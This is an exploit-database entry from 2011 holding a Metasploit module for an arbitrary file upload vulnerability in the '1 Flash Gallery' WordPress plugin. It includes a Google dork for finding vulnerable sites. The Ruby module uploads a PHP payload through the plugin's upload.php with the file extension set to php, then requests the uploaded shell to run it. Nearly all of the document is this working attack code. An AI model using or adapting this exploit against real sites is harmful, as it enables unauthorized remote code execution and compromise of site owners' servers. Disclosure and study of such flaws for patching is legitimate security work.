Author

Ben Schmidt

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-16914

Category

web applications

Date add

07-09-2011

Platform

php

# Exploit Title: 1 Flash Gallery Wordpress Plugin Arbitrary File Upload Exploit
# # Google Dork:  inurl:"wp-content/plugins/1-flash-gallery"
# # Date: 09/06/2011
# # Author: Ben Schmidt
# # Software Link: http://downloads.wordpress.org/plugin/1-flash-gallery.1.5.6.zip
# # Version: v1.30 to v1.5.7a (tested on 1.5.6 and 1.5.7 prior to patch)
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => '1 Flash Gallery Wordpress Plugin File Upload Exploit',
            'Description'    => %q{
            This module exploits an arbitrary file upload vulnerability in
            the '1 Flash Gallery' Wordpress plugin.
            },
            'Author'         => [ 'Ben Schmidt'],
            'License'        => MSF_LICENSE,
            'References'     => ["http://spareclockcycles.org/2011/09/06/flash-gallery-arbitrary-file-upload/" ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    # Arbitrary big number. The payload gets sent as an HTTP
                    # POST request, so it's possible this might be smaller (maybe?)
                    # but very unlikely.
                    'Space'       => 262144, # 256k
                },
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Sept 6, 2011'
            ))
 
        register_options([
                OptString.new('URI', [true, "Path to Wordpress", "/"]),
            ], self.class)
    end
 
    def exploit
        boundary = rand_text_alphanumeric(6)
        fn = rand_text_alphanumeric(8)
        data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filedata\"; "
        data << "filename=\"#{fn}.php\"\r\nContent-Type: application/x-httpd-php\r\n\r\n"
        data << payload.encoded
        data << "\r\n--#{boundary}--"
 
        res = send_request_raw({
            'uri'     => datastore['URI'] + "/wp-content/plugins/1-flash-gallery/upload.php?action=uploadify&fileext=php",
            'method'  => 'POST',
            'data'    => data,
            'headers' =>
            {
                'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
                'Content-Length' => data.length,
            }
        }, 25)
 
        if (res)
            print_status("Successfully uploaded shell.")
            shell_path = res.body.split("_")[0]
            print_status("Trying to access shell at #{shell_path}...")
            res = send_request_raw({
                'uri'     => datastore['URI'] + shell_path,
                'method'  => 'GET',
            }, 0.01)
 
        else
            print_error("Error uploading shell")
        end
 
        handler
    end
end



#  0day.today [2024-09-20]  #